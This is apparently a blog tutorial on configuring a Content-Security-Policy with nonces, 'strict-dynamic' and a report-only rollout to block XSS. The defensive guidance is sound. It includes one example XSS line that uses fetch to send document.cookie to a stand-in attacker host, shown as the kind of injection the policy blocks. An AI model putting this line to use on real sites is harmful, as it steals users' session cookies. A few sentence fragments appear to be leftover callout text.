CSP in practice: a Content-Security-Policy that stops XSS without breaking your site
A Content-Security-Policy (CSP) is your last line of defense against XSS: even if an attacker slips a <script> into your page, a well-built CSP stops the browser from running it. The problem is that almost every CSP you see in production sits at one of two extremes: so permissive it blocks nothing, or so strict it breaks the site and gets switched off. Let's build one that actually works.
What it actually does
A CSP is an HTTP header declaring, per resource type, which origins the browser may load from: script-src for scripts, style-src for styles, img-src for images, connect-src for fetch/XHR/WebSocket… The key is scripts: with script-src 'self', the browser refuses to run inline scripts and scripts from other origins. That refusal of inline code is the anti-XSS core, because reflected and stored XSS almost always inject inline code.
The mistake that makes it useless
90% of broken CSPs get "fixed" by adding 'unsafe-inline' to script-src. And that re-enables exactly what the CSP was blocking: inline code, including the code the attacker injects. A policy like this gives a false sense of security:
Content-Security-Policy: script-src 'self' 'unsafe-inline'
script-src 'self' 'unsafe-inline' does nothing. If your CSP has 'unsafe-inline' in script-src, for practical purposes you have no CSP.The right way: nonces
A nonce is a random token the server generates on every response. You put it in the header and in every legitimate <script> on the page. The browser only runs scripts carrying that nonce; code an attacker injects doesn't know it, so it's blocked:
# The server generates something like: nZ2spB9v... (random, per request)
Content-Security-Policy: script-src 'nonce-nZ2spB9v' 'strict-dynamic'
<!-- this one runs -->
<script nonce="nZ2spB9v">initApp();</script>
<!-- injected by the attacker: no nonce, the browser blocks it -->
<script>fetch('https://evil.example/'+document.cookie)</script>
'strict-dynamic' is the modern companion: it lets an already-trusted script (the one with the nonce) load further scripts, so you don't have to enumerate CDN domains one by one. It's the recommended pattern today and frees your policy from fragile allow-lists.
'unsafe-inline', 'unsafe-eval', * wildcards) and ships strict presets ready to copy.The directives that matter
default-src 'self'— the safety net: anything you don't state explicitly inherits from here.script-src 'nonce-…' 'strict-dynamic'— the anti-XSS heart.object-src 'none'— kills plugins (Flash and friends), a classic vector.base-uri 'none'— stops an injected<base>from hijacking relative URLs.frame-ancestors 'none'(or'self') — anti-clickjacking; replacesX-Frame-Options.form-action 'self'— so your forms can't post to someone else's domain.style-src 'self' 'unsafe-inline'— pragmatic: noncing every style is a pain, and style injection is far less dangerous than script injection.img-src,connect-src,font-src— tune them to what you actually use.upgrade-insecure-requests— forces HTTPS on sub-requests.
Roll it out without breaking anything
Don't drop a brand-new CSP straight into blocking mode. Start in report-only: the browser tells you what it would have blocked, but blocks nothing. Collect the violations, adjust, and only then enforce it.
# Phase 1: observe without breaking
Content-Security-Policy-Report-Only: default-src 'self'; report-to csp-endpoint
# Phase 2 (once there are no false positives): switch the header to
Content-Security-Policy: default-src 'self'; ...
What will break (and how to fix it)
- Inline handlers (
onclick="…",onmouseover="…"): a nonce-based CSP can't sign an attribute, so they're blocked. Move them toaddEventListener. - Inline styles (
style="…"and<style>): usually survive withstyle-src 'unsafe-inline'; if you want to be strict, use nonces or hashes for styles too. - Third-party widgets (analytics, maps): with
'strict-dynamic', a nonce'd loader can pull them; otherwise add their specific origin (never a*). eval(): some old libraries need it.'unsafe-eval'is a last resort and best avoided.
'unsafe-inline' in script-src. That's why, if you inspect CyberEscudo's HTML, you won't find a single onclick=: everything goes through addEventListener. Eating your own dog food forces you to write better JavaScript.Verify it
Two quick checks. In the browser, open the console: every blocked resource leaves a Refused to load/execute message with the offending directive. And for a header audit —without installing anything— paste your domain into the analyzer:
X-Content-Type-Options, Referrer-Policy…), flags the missing or weak ones and gives you a grade. Perfect to confirm your CSP made it to production intact.Checklist
- ✅ No
'unsafe-inline'inscript-src - ✅
script-src 'nonce-…' 'strict-dynamic' - ✅
object-src 'none',base-uri 'none' - ✅
frame-ancestorsfor clickjacking - ✅
form-action,connect-srcandimg-srcscoped - ✅ Debut in
Report-Only, then enforce - ✅ Zero
onclick=handlers in the HTML - ✅ Verified in the console and with the header analyzer
A CSP doesn't replace escaping output or validating input: it's the net that saves you when something slips through. Built with nonces, ten lines of header turn an exploitable XSS into an attempt the browser throws straight in the bin.